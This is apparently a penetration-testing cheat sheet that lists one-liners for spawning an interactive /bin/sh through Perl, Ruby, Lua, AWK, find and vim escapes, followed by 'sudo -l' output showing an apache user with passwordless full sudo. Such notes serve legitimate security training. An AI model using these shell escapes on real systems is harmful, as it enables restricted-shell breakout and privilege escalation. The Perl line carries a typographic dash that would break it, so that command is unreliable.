Skip to content

Spawning InteractiveShells

/bin/sh -i

c
/bin/sh -i
sh: no job control in this shell
sh-4.2$

Perl

c
perl —e 'exec "/bin/sh";'
c
perl: exec "/bin/sh";

Ruby

c
ruby: exec "/bin/sh"

Lua

c
lua: os.execute('/bin/sh')

AWK

c
awk 'BEGIN {system("/bin/sh")}'

Find

c
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

Using Exec To Launch A Shell

c
find . -exec /bin/sh \; -quit

VIM

c
vim -c ':!/bin/sh'

Vim Escape

c
vim
:set shell=/bin/sh
:shell

Execution Permissions Considerations

c
ls -la <path/to/fileorbinary>

Sudo -l

c
sudo -l
Matching Defaults entries for apache on ILF-WebSrv:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User apache may run the following commands on ILF-WebSrv:
    (ALL : ALL) NOPASSWD: ALL